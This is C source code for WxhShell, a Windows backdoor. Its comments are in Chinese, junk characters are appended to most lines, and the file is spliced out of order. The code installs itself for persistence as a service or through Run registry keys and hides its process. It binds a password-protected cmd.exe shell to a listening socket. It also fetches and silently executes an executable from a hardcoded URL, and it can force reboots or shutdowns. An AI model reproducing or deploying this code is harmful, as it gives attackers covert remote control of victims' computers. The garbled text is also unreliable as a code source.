  // 关机 K'E)?NW69  
  case 'd': { 0[uOKFgE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  fOsvOC  
    if(Boot(SHUTDOWN)) pfl^GgP#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XfIsf9  
    else { #{k+^7aQ  
    closesocket(wsh); cj2^wmkB  
    ExitThread(0); 4}0YLwgJ  
    } ]H`pM9rC  
    break; 8U]mr+  
    } 09Q5gal  
  // 获取shell nemC-4}  
  case 's': { A3q#,%  
    CmdShell(wsh); UT 7'-  
    closesocket(wsh); S5L0[SZ$!  
    ExitThread(0); #+h#b%8  
    break; Mbly-l{|  
  } D#Mz#\4o  
  // 退出 <O-R  
  case 'x': { Y@Ry oJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t!FC)iY  
    CloseIt(wsh); .UN?Ak*R  
    break; Gp?pSI,b.t  
    } I&^hG\D  
  // 离开 W^;4t3eQf  
  case 'q': { gHXvmR"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )*.rl  
    closesocket(wsh); G_k_qP^:  
    WSACleanup(); z -]ND  
    exit(1); hVZS6gU,x  
    break; I~ mu'T  
        } nI73E  
  } r4?|sAK  
  } pma=*  
]_L;AD  
  // 提示信息 Q!AGalP z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (v0Q.Q@ <  
} ]-+l.gVFW  
  } HYJEz2RF  
/;y`6WG%2  
  return; NOAz"m+o  
} 04Uyr;y  
7#N= GN  
// shell模块句柄 64'sJc.   
int CmdShell(SOCKET sock) 7^#O{QYol  
{ pgv, Su  
STARTUPINFO si; cxPOO#  
ZeroMemory(&si,sizeof(si)); mgq4g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tC=K;zsXpz  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {?mb.~(  
PROCESS_INFORMATION ProcessInfo; QPFv]^s(  
char cmdline[]="cmd"; BryD?/}P)M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J'&K  
  return 0; #rz!d/)Q  
} !Ap*PL  
!"F8jA}  
// 自身启动模式 G;pc,\MF  
int StartFromService(void) PVQn$-aq1  
{ EyV5FWb58  
typedef struct &-vHb   
{ YQ1rS X3  
  DWORD ExitStatus; %r(qQM.Pl  
  DWORD PebBaseAddress; SapVS*yx@  
  DWORD AffinityMask; Cs vwc%  
  DWORD BasePriority; cwHbm%  
  ULONG UniqueProcessId; :pvVm>  
  ULONG InheritedFromUniqueProcessId; cI@'Pr4:FJ  
}   PROCESS_BASIC_INFORMATION; f$?`50D"1  
9zLeyw\  
PROCNTQSIP NtQueryInformationProcess; pG v*{.  
3@0!]z^W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *^Z -4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GJF ,w{J  
Pvm pWa  
  HANDLE             hProcess; O^3XhTW^\~  
  PROCESS_BASIC_INFORMATION pbi; aOUTKyR ~  
*iSE)[W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $>wN:uN(  
  if(NULL == hInst ) return 0; + :b"0pu-H  
I q{/-,v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Nk$|nn9#'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W=n Hi\jLV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @cG+ D  
*oh,Va  
  if (!NtQueryInformationProcess) return 0; >v1.Gm  
M pz9}[`3g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZpwFC7LW  
  if(!hProcess) return 0; !<h-2YF<M  
XWB#7;,R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !xU\s'I+#  
#=F{G4d)!=  
  CloseHandle(hProcess); |B2>}Y/  
K@"B^f0mU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >G vd?r  
if(hProcess==NULL) return 0; kWC xc0  
h6 :|RGF  
HMODULE hMod; M2qor.d  
char procName[255]; P;IM -]  
unsigned long cbNeeded; l5enlYH  
k/Q8:qA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1_@vxi~aW_  
[|C  
  CloseHandle(hProcess); z gxMDLH  
MiMDEe%f%  
if(strstr(procName,"services")) return 1; // 以服务启动 Ud#xgs'  
>5t]Zlb`  
  return 0; // 注册表启动 pT:6A[&  
} N=@8~{V.  
3Z}KRsp3  
// 主模块 PoRP]Q*n  
int StartWxhshell(LPSTR lpCmdLine) 4`?WdCW8  
{ 'SWK{t \4  
  SOCKET wsl; +a+DiD>./  
BOOL val=TRUE; v#5hK<9  
  int port=0; 8'Q&FW3"  
  struct sockaddr_in door; ji5Nq+S2  
$A98h -*x  
  if(wscfg.ws_autoins) Install(); Z v 7}C  
]-OF3+l4  
port=atoi(lpCmdLine); zpcO7AY~  
@|d`n\%x  
if(port<=0) port=wscfg.ws_port; j:2*hF!E  
l% {<+N  
  WSADATA data; d @b ]/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }e>OmfxDBt  
uJ3*AO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %)o;2&aD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LP?*RrM  
  door.sin_family = AF_INET; Ed#Hilk'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); VF~kjH2>  
  door.sin_port = htons(port); N1l^%Yf J  
}~v0o# I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NU 3s^ 8\(  
closesocket(wsl); h9&0"LHr  
return 1; A%EGu4  
} ;a(7%  
w!Ii   
  if(listen(wsl,2) == INVALID_SOCKET) { `pd+as  
closesocket(wsl); J c:j7}OOV  
return 1; 5RKs 2 eV  
} .6iJ:A6T  
  Wxhshell(wsl); P#,g5  
  WSACleanup(); k !g%vx  
ca'c5*Fs  
return 0; o"qG'\x  
6'.CW4L  
} e8)8QmB{o  
u X(#+  
// 以NT服务方式启动  &/)To  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o4YF,c+>q  
{ ]QF*\2b-I2  
DWORD   status = 0; $KsB'BZy  
  DWORD   specificError = 0xfffffff; 8y]{I^z}  
Lv-M.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~W_ T3@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Tqx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <,&t}7M/:  
  serviceStatus.dwWin32ExitCode     = 0; 2bOFH6g  
  serviceStatus.dwServiceSpecificExitCode = 0; J>+~//C  
  serviceStatus.dwCheckPoint       = 0; KN.WTaO  
  serviceStatus.dwWaitHint       = 0; v;Rm42k  
A/~^4DR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]!WD">d:  
  if (hServiceStatusHandle==0) return; 7fW$jiw  
9lqD~H.  
status = GetLastError(); ]q|U0(q9  
  if (status!=NO_ERROR) /)V8X#,  
{ w(q\75  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X1&c?T1 %[  
    serviceStatus.dwCheckPoint       = 0; t#nRa Pzp  
    serviceStatus.dwWaitHint       = 0; q=26($  
    serviceStatus.dwWin32ExitCode     = status; U)_x(B3d/  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0He^r &c3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hhJs$c(  
    return; BHS8MV L@  
  } rKr\Qy+q  
O?Qi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B1J2m^  
  serviceStatus.dwCheckPoint       = 0; }`_x%]EJ  
  serviceStatus.dwWaitHint       = 0; _Hv@bIL'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'c$)}R I7  
} [:l=>yJ{(  
KK/siG~O  
// 处理NT服务事件,比如:启动、停止 X>eFGCz}I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0G8zFe*p  
{ H|<Zm:.%$  
switch(fdwControl) Yo,n#<37  
{ h:r:qk  
case SERVICE_CONTROL_STOP: f|{&Y2h(R  
  serviceStatus.dwWin32ExitCode = 0; awOH50R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b25C[C5C  
  serviceStatus.dwCheckPoint   = 0; ynZfO2kf  
  serviceStatus.dwWaitHint     = 0; dK7BjZTJo  
  { +wm%`N;v<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `q7X(x  
  } }IV=qW,  
  return; AL[,&_&uV  
case SERVICE_CONTROL_PAUSE: -\8v{ry  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !InC8+be  
  break; ;_A?Zl}  
case SERVICE_CONTROL_CONTINUE: et@<MU@ `  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :Mq{ES%  
  break; Uq(fk9`6  
case SERVICE_CONTROL_INTERROGATE: >'&|{s[m  
  break; ;x-]1xx_  
};  $kY ]HI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +\25ynM  
} {0\9HI@  
jR^_1bu  
// 标准应用程序主函数 GNM+sd y+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) US] I[Y6V  
{ yzyK$WN\[3  
U;FJSy  
// 获取操作系统版本 g<Y N#  
OsIsNt=GetOsVer(); Jmun^Q/h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MJy(B><  
)Vpt.4IBd  
  // 从命令行安装  1"RC!  
  if(strpbrk(lpCmdLine,"iI")) Install(); (A~w IKY,  
XM:\N$tg  
  // 下载执行文件 _i2k$Nr  
if(wscfg.ws_downexe) { X 3(*bj>P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N$P\$  
  WinExec(wscfg.ws_filenam,SW_HIDE); otdm r w|  
} g ?{o2gG  
:+meaxbu  
if(!OsIsNt) { cA B<'44R  
// 如果时win9x,隐藏进程并且设置为注册表启动 QJU\YH%}  
HideProc(); *m[[>wE  
StartWxhshell(lpCmdLine); o|y1m7X  
} H ~lvUHN  
else ZO]P9b  
  if(StartFromService()) a}'dIDj  
  // 以服务方式启动 d, 0Klew  
  StartServiceCtrlDispatcher(DispatchTable); _''9-t;n,  
else k6(0:/C  
  // 普通方式启动 l6pvQ|  
  StartWxhshell(lpCmdLine); v`r*Yok;`  
:} DTK  
return 0; 4 Xe8j55  
} iB5'mb*  
+*x9$LSD  
m[Cp G=32B  
# 2?3B  
=========================================== @ [%K D  
jh/aK_Q,w  
.:B;%*  
:rEZR`  
#E4|@}30`  
PgYIQpV  
" E>bpq ^;r  
c2fw;)j&X  
#include <stdio.h> oe[f2?-  
#include <string.h> #F'8vf'r  
#include <windows.h> Wn Ng3'6  
#include <winsock2.h> q)OCY}QA  
#include <winsvc.h> -BEd7@?A  
#include <urlmon.h> yhd]s0(!  
Ui`#B  
#pragma comment (lib, "Ws2_32.lib") >lF@M-  
#pragma comment (lib, "urlmon.lib") ricL.[v9S  
!twYjOryH[  
#define MAX_USER   100 // 最大客户端连接数 N;i\.oY  
#define BUF_SOCK   200 // sock buffer /NQ PTr  
#define KEY_BUFF   255 // 输入 buffer =JN{j2xY  
UZJ#/x5F  
#define REBOOT     0   // 重启 +3]V>Mv  
#define SHUTDOWN   1   // 关机 aA'of>'ib|  
D|IS@gWa  
#define DEF_PORT   5000 // 监听端口 '8;'V%[+  
S%df'bh$  
#define REG_LEN     16   // 注册表键长度 q5\iQ2f{WV  
#define SVC_LEN     80   // NT服务名长度 #E#Fk3-ljQ  
^CP>|JWD^  
// 从dll定义API #hXxrN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R_Z 9aQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TVAa/_y2`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j5rMY=|F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {pC$jd>T  
O6Y1*XTmH6  
// wxhshell配置信息 TEi1,yc  
struct WSCFG { ,iXQ"):!OB  
  int ws_port;         // 监听端口 *s|'V+1  
  char ws_passstr[REG_LEN]; // 口令 j eyGIY  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0N_u6*@  
  char ws_regname[REG_LEN]; // 注册表键名 ku GaOO  
  char ws_svcname[REG_LEN]; // 服务名 j8;Uny9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X}`39r.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Uz%2{HB@{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _=HNcpDA;0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $ J!PSF8PL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X~Hm.qIR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >~L0M  
 ?Zc(Zy6  
}; g1~wg$`S8S  
L+8O 4K{  
// default Wxhshell configuration s \0,@A   
struct WSCFG wscfg={DEF_PORT, C@u}tH )  
    "xuhuanlingzhe", I?_WV_T&  
    1, x;A.Ll  
    "Wxhshell", "%#CMCE|f  
    "Wxhshell", 5E =!L g  
            "WxhShell Service", LR3>_t  
    "Wrsky Windows CmdShell Service", RM>A9nv$\  
    "Please Input Your Password: ", vK$wc~  
  1, ,@\z{}~v  
  "http://www.wrsky.com/wxhshell.exe", e<+b?@}=B  
  "Wxhshell.exe" -?NAA]P5c@  
    }; \s7/`  
cJzkA^T9  
// 消息定义模块 |nBZ:$D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  '3xK1Am  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l YpoS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^#U[v7y  
char *msg_ws_ext="\n\rExit."; se*k56,  
char *msg_ws_end="\n\rQuit."; >v )V2,P -  
char *msg_ws_boot="\n\rReboot..."; W=Mdh}u_I  
char *msg_ws_poff="\n\rShutdown..."; bZpx61h|  
char *msg_ws_down="\n\rSave to "; 8L5O5F'  
,JfP$HJ  
char *msg_ws_err="\n\rErr!"; {+V ]@sz  
char *msg_ws_ok="\n\rOK!"; 3!`_Q%  
~ /rKKc  
char ExeFile[MAX_PATH]; nK#%Od{GF  
int nUser = 0; .9vt<<Kwh  
HANDLE handles[MAX_USER]; $.4N@=s,?c  
int OsIsNt; JH*fxG  
8Z3:jSgk  
SERVICE_STATUS       serviceStatus; K9 +\Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?RS4oJz,5g  
_}.WRFIJ@L  
// 函数声明 p5l|qs  
int Install(void); #"fn;  
int Uninstall(void); Ok<,_yh  
int DownloadFile(char *sURL, SOCKET wsh); j{6O:d6([$  
int Boot(int flag); -B#K}xL|x  
void HideProc(void); 1 ]ePU8  
int GetOsVer(void); m$7C{Mr'  
int Wxhshell(SOCKET wsl); yw{r:fy  
void TalkWithClient(void *cs); ~zVe?(W  
int CmdShell(SOCKET sock);  /#zs  
int StartFromService(void); TSVlZy~Xo  
int StartWxhshell(LPSTR lpCmdLine); gH*(1*  
V=8npz   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J[c`Qq:&e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rU|?3x  
x<PJ5G L  
// 数据结构和表定义 q>.C5t'Qx  
SERVICE_TABLE_ENTRY DispatchTable[] = LIT`~D  
{ = BbG2k  
{wscfg.ws_svcname, NTServiceMain}, >ByqM{?  
{NULL, NULL} [}l#cG6 k  
}; RDEK=^J  
c )=a;_h  
// 自我安装 4vV\vXT*  
int Install(void) 4j(`koX_  
{ WJMmt XO  
  char svExeFile[MAX_PATH]; 2w fkXS=~6  
  HKEY key; ^tIYr <I  
  strcpy(svExeFile,ExeFile); 4/OmgBo '  
tlB -s;  
// 如果是win9x系统,修改注册表设为自启动 n%Oq"`w4  
if(!OsIsNt) { >E3-/)Ti  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ppGWh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r_kaS als  
  RegCloseKey(key); 1L?d/j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dx+xs&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =Aw`0  
  RegCloseKey(key); `ZT/lB`  
  return 0; 4p%^?L?  
    } rV} 5&N*c  
  } I hv@2{*(b  
} 8dC RSU  
else { , K:d/  
`I(ap{  
// 如果是NT以上系统,安装为系统服务 ^# 4e_&4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xzOn[.Fi  
if (schSCManager!=0) zGy+jeH:.  
{ i:jns>E  
  SC_HANDLE schService = CreateService db&!t!#,  
  ( FR>[ g`1  
  schSCManager, ?bg /%o  
  wscfg.ws_svcname, L >)|l  
  wscfg.ws_svcdisp, W8r"dK  
  SERVICE_ALL_ACCESS, bZ^'_OOn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Rt5pl,Nf  
  SERVICE_AUTO_START, vU(fd!V ?  
  SERVICE_ERROR_NORMAL, v*c"SI=@M=  
  svExeFile, lJ,\^\q  
  NULL, hT`&Xb  
  NULL, BzV97'  
  NULL, e)m6xiZ  
  NULL, I!SIy&=W  
  NULL xM@s`s|n  
  ); ]9c{qm}y  
  if (schService!=0) {fjBa,o #  
  { | g1Cs  
  CloseServiceHandle(schService); KZa6*,, s  
  CloseServiceHandle(schSCManager); ,_s.amL3O{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fjY:u,5V_  
  strcat(svExeFile,wscfg.ws_svcname); %LD(S*>7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mn*}U R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PZO.$'L|7  
  RegCloseKey(key); @(+\*]?^&  
  return 0; \DWKG~r-%  
    } )>"pm {g2  
  } _~*j=XRs  
  CloseServiceHandle(schSCManager); J3e'?3w[  
} %9J:TH9E)  
} |_QpB?b  
5NhAb$q2Y  
return 1; qq3/K9 #y  
} ?%#no{9  
6q!Q(_  
// 自我卸载 o6:bmKWE  
int Uninstall(void) ] SLeWs  
{ [:q J1^UU  
  HKEY key; f6nuh&!-  
UZmo?&y  
if(!OsIsNt) { d|)ARRW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }RKsS3}   
  RegDeleteValue(key,wscfg.ws_regname); n_k`L(8*  
  RegCloseKey(key); A (p^Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BPm" )DMo  
  RegDeleteValue(key,wscfg.ws_regname); ~wOMT  
  RegCloseKey(key); atw*t1)g  
  return 0; jeJspch+#  
  } c;!| =  
} h9!4\{V;h  
} /3 VO!V]u  
else { PgHmOs  
Qr7|;l3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d$xvM  
if (schSCManager!=0) _wX(OB  
{ 3<N2ehi?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :>Qu;Z1P  
  if (schService!=0) )X:Sfk  
  { og~a*my3  
  if(DeleteService(schService)!=0) { 3x 7fa^umR  
  CloseServiceHandle(schService); 5rc3jIXc{|  
  CloseServiceHandle(schSCManager); o iC@ /  
  return 0; :eT\XtxM~{  
  } fY?:SPR+  
  CloseServiceHandle(schService); t0kZFU  
  } >n(dyU@  
  CloseServiceHandle(schSCManager); Sa0IRC<LV  
} 2X*n93AQi  
} XD|Xd|/ {  
uEG4^  
return 1; ;!lwB  
} bv7xh*/  
'.8eLN  
// 从指定url下载文件 1?3+>  
int DownloadFile(char *sURL, SOCKET wsh) #W l^!)#j?  
{ 1 3)6p|6x  
  HRESULT hr; [dUAb  
char seps[]= "/"; -o~n 06p  
char *token; aY;34SF  
char *file; "gzn%k[D9m  
char myURL[MAX_PATH]; vu}U2 0@  
char myFILE[MAX_PATH]; !0UfX{.  
;l<Hen*  
strcpy(myURL,sURL); 49O_A[(d  
  token=strtok(myURL,seps); =<)/lz] H  
  while(token!=NULL) (l9jczi  
  { >Q^ mR  
    file=token; <P&X0S`O  
  token=strtok(NULL,seps); [eBt Dc*w  
  } Evqy e;  
L; A#N9  
GetCurrentDirectory(MAX_PATH,myFILE); cxvO,8NiB  
strcat(myFILE, "\\"); ="f-I9y  
strcat(myFILE, file); Io>U-Zd\>  
  send(wsh,myFILE,strlen(myFILE),0); "}ur"bU1  
send(wsh,"...",3,0); O8N1gf;t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~E_irzOFP  
  if(hr==S_OK) c* ~0R?  
return 0; *~cNUyd  
else qW|h"9sr  
return 1; ~X %cbFom=  
2']0c  z  
} m!!;CbPo  
6 b?K-)kL  
// 系统电源模块 R/Sm  
int Boot(int flag) t6kLZ  
{ TDy)A2Z  
  HANDLE hToken; )56L`5#tS  
  TOKEN_PRIVILEGES tkp; Zy{hYHQ  
_ouZd.  
  if(OsIsNt) {  | z_av  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ol<LL#<j4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =knLkbiq7,  
    tkp.PrivilegeCount = 1; YcR: _ac  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nw_|W)JVQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B}* \ pdJ  
if(flag==REBOOT) { _ Qek|>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M9Yov4k,4]  
  return 0;  G;A  
} ]W%rhppC  
else { s?nj@:4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S;2UcSsQl  
  return 0; D+oV( Pw,  
} s>WqVuXmn  
  } x^Qij!mB%  
  else { gvo5^O+)HH  
if(flag==REBOOT) { RZSEcRlN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iEy2z+/"^  
  return 0; J p%J02  
} ;j(*:Nt1  
else { l^o>7 cM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6z/&j} (  
  return 0; i=M[$   
} mz;ExV16  
} ~ 7Nqwwx  
#q9BU:  
return 1; E%stFyr9`/  
} Do^yer~  
-x J\/"A  
// win9x进程隐藏模块 g u' +kw  
void HideProc(void) 7)Tix7:9S;  
{ #^ .G^d(=  
`ZP[-:`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j.+,c#hFo  
  if ( hKernel != NULL ) IBNb!mPu%  
  { CUjRz5L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4j i#Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {4p7r7n'  
    FreeLibrary(hKernel); v]KPA.W  
  } YY'[PXP$Y  
YYkgm:[  
return; d)XT> &  
} r8FAV9A  
>Yv#t.!  
// 获取操作系统版本 Qt^6w}&  
int GetOsVer(void) e U-A_5  
{ /8hjs{(;  
  OSVERSIONINFO winfo; C)9-{Yp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gq~`!tW'  
  GetVersionEx(&winfo); `$3P@SO"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |Xv\3r  
  return 1; ,c;#~y  
  else *|0W3uy\Y  
  return 0; Z vyF"4QN  
} *0'{ n*>  
*S4&V<W>  
// 客户端句柄模块 6+PP(>em  
int Wxhshell(SOCKET wsl) dPgA~~  
{ y6s/S.  
  SOCKET wsh; }:0HM8B7!  
  struct sockaddr_in client; =umF C[. W  
  DWORD myID; lb"T'} q  
S%7 bM~J@  
  while(nUser<MAX_USER) AJRiwP|H+  
{ }2Im?Q  
  int nSize=sizeof(client); 8-K4*(-dL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {z'Gg  
  if(wsh==INVALID_SOCKET) return 1; YsO`1D  
Ag1nxV1M$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W^3'9nYU  
if(handles[nUser]==0) W$Aypy  
  closesocket(wsh); F{}:e QD  
else 5pRVA  
  nUser++; ;hFB]/.v  
  } g)MLgjj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )*o) iN 7l  
"DJ%Yo  
  return 0; kQ)2DCb dn  
} ^4saB+qm  
pcm1IwR`  
// 关闭 socket qEkhgJqk  
void CloseIt(SOCKET wsh) Ac[;S!R  
{ 2"Y=*s  
closesocket(wsh); 1fF\k#BE-%  
nUser--; ;{n*F=%uC  
ExitThread(0); rmI@ #'  
} 0XL[4[LdA  
\nQEvcH  
// 客户端请求句柄 i{J[;rV9  
void TalkWithClient(void *cs) >>=v`}  
{ z_z '3d.r7  
q#Ik3 5  
  SOCKET wsh=(SOCKET)cs; Yc(lY N  
  char pwd[SVC_LEN]; _ `7[}M~  
  char cmd[KEY_BUFF]; Pp|pH|(n ,  
char chr[1]; (fO~nN{F  
int i,j; $>%zNq-F  
6(HJYa  
  while (nUser < MAX_USER) { L+)mZb&  
qZSW5lC0  
if(wscfg.ws_passstr) { x/92],.Mz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9AQ2FD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Aq/wa6^%  
  //ZeroMemory(pwd,KEY_BUFF); WS$~o*Z8  
      i=0; m(WVxVB  
  while(i<SVC_LEN) { =E8Kacu%  
\<y#$:4r<8  
  // 设置超时 z &[[4[  
  fd_set FdRead; .:, 9Tf  
  struct timeval TimeOut; I]ol[ X0S  
  FD_ZERO(&FdRead); ;Y(~'KF  
  FD_SET(wsh,&FdRead); 8@I.\u)0  
  TimeOut.tv_sec=8; )/tdiRpn  
  TimeOut.tv_usec=0; yXc@i)9w3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6K9-n}z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )v.\4Q4  
]JI A\|b6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0j{KZy  
  pwd=chr[0]; a3(f\MM xE  
  if(chr[0]==0xd || chr[0]==0xa) { y? 65*lUl  
  pwd=0;  aK9zw  
  break; MK4CggoC  
  } 6IM:Xj  
  i++; P99s   
    } m3_)UIJZ  
#DH eEE  
  // 如果是非法用户,关闭 socket niM(0p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t]pJt  
} &44?k:  
]^l-k@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Xc]Q_70O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Qp>Q-+e0  
1) G6  
while(1) { .s@[-! p  
#.\X% !  
  ZeroMemory(cmd,KEY_BUFF); N" oJ3-~  
%] 7.E  
      // 自动支持客户端 telnet标准   ^KFwO=I@PV  
  j=0; eD 7Rv<  
  while(j<KEY_BUFF) { ,[Z;"wE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `#N7ym;s@  
  cmd[j]=chr[0]; a^&3?3   
  if(chr[0]==0xa || chr[0]==0xd) { ia /_61%  
  cmd[j]=0; {{_,YO^w  
  break; 4:v{\R  
  } h'G8@j;  
  j++;  '+C%]p  
    } Jz\'%O'  
NW;wy;;  
  // 下载文件 w2`j&]D6  
  if(strstr(cmd,"http://")) { aw/5#(1R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n 6|\  
  if(DownloadFile(cmd,wsh)) R2[!h1nZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rd*/J~TK  
  else "mkTCR^]e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,cFp5tV$  
